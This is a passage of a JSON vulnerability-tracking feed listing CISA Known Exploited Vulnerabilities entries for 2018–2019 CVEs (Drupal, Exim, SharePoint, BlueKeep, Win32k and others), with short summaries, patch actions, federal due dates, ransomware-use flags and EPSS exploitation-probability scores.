CVE-2018-15961","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-15961 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-15961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-15961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-18325","cveId":"CVE-2018-18325","aliases":[],"kind":"vulnerability","title":"DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability","summary":"DotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters. This CVE ID resolves an incomplete patch for CVE-2018-15811.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"DotNetNuke (DNN)","product":"DotNetNuke (DNN)","stacks":["DotNetNuke (DNN)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74048,"percentile":0.99479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-18325&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-18325","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-18325 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-18325&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-18325, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-20062","cveId":"CVE-2018-20062","aliases":[],"kind":"vulnerability","title":"ThinkPHP \"noneCms\" Remote Code Execution Vulnerability","summary":"ThinkPHP \"noneCms\" contains an unspecified vulnerability that allows for remote code execution through crafted use of the filter parameter.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"ThinkPHP","product":"noneCms","stacks":["ThinkPHP","noneCms"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9953,"percentile":0.99945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-20062&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-20062","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-20062 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-20062&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-20062, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-2380","cveId":"CVE-2018-2380","aliases":[],"kind":"vulnerability","title":"SAP Customer Relationship Management (CRM) Path Traversal Vulnerability","summary":"SAP Customer Relationship Management (CRM) contains a path traversal vulnerability that allows an attacker to exploit insufficient validation of path information provided by users.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"Customer Relationship Management (CRM)","stacks":["SAP","Customer Relationship Management (CRM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28934,"percentile":0.98141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-2380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-2380","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-2380 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-2380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-2380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-4878","cveId":"CVE-2018-4878","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Adobe Flash Player contains a use-after-free vulnerability that could allow for code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9028,"percentile":0.99796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-4878&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-4878","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-4878 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-4878&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-4878, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-4939","cveId":"CVE-2018-4939","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization of Untrusted Data Vulnerability","summary":"Adobe ColdFusion contains a deserialization of untrusted data vulnerability that could allow for code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61987,"percentile":0.9917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-4939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-4939","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-4939 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-4939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-4939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-6789","cveId":"CVE-2018-6789","aliases":[],"kind":"vulnerability","title":"Exim Buffer Overflow Vulnerability","summary":"Exim contains a buffer overflow vulnerability in the base64d function part of the SMTP listener that may allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Exim","product":"Exim","stacks":["Exim"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82137,"percentile":0.99652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-6789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-6789","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-6789 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-6789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-6789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-7600","cveId":"CVE-2018-7600","aliases":[],"kind":"vulnerability","title":"Drupal Core Remote Code Execution Vulnerability","summary":"Drupal Core contains a remote code execution vulnerability that could allow an attacker to exploit multiple attack vectors on a Drupal site, resulting in complete site compromise.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Drupal","product":"Drupal Core","stacks":["Drupal","Drupal Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99991,"percentile":0.99985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-7600&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-7600","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-7600 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-7600&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-7600, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8653","cveId":"CVE-2018-8653","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29606,"percentile":0.98177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8653","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8653 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0211","cveId":"CVE-2019-0211","aliases":[],"kind":"vulnerability","title":"Apache HTTP Server Privilege Escalation Vulnerability","summary":"Apache HTTP Server, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute code with the privileges of the parent process (usually root) by manipulating the scoreboard.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"HTTP Server","stacks":["Apache HTTP Server","Apache","HTTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65005,"percentile":0.99243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0211","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0211 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0541","cveId":"CVE-2019-0541","aliases":[],"kind":"vulnerability","title":"Microsoft MSHTML Remote Code Execution Vulnerability","summary":"Microsoft MSHTML engine contains an improper input validation vulnerability that allows for remote code execution vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"MSHTML","stacks":["Microsoft","MSHTML"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53202,"percentile":0.98973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0541&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0541","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0541 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0541&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0541, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0604","cveId":"CVE-2019-0604","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Remote Code Execution Vulnerability","summary":"Microsoft SharePoint fails to check the source markup of an application package. An attacker who successfully exploits the vulnerability could run remote code in the context of the SharePoint application pool and the SharePoint server farm account.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99913,"percentile":0.99968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0604&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0604","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0604 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0604&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0604, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0708","cveId":"CVE-2019-0708","aliases":[],"kind":"vulnerability","title":"Microsoft Remote Desktop Services Remote Code Execution Vulnerability","summary":"Microsoft Remote Desktop Services, formerly known as Terminal Service, contains an unspecified vulnerability that allows an unauthenticated attacker to connect to the target system using RDP and send specially crafted requests. Successful exploitation allows for remote code execution. The vulnerability is also known under the moniker of BlueKeep.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Remote Desktop Services","stacks":["Microsoft","Remote Desktop Services"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0708","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0708 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0797","cveId":"CVE-2019-0797","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains a privilege escalation vulnerability when the Win32k component fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01874,"percentile":0.79239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0797","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0797 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0803","cveId":"CVE-2019-0803","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability due to it failing to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4523,"percentile":0.98775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0803&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0803","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0803 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0803&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0803, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0808","cveId":"CVE-2019-0808","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains a privilege escalation vulnerability due to the component failing to properly handle objects in memory. Successful exploitation allows an attacker to run code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor 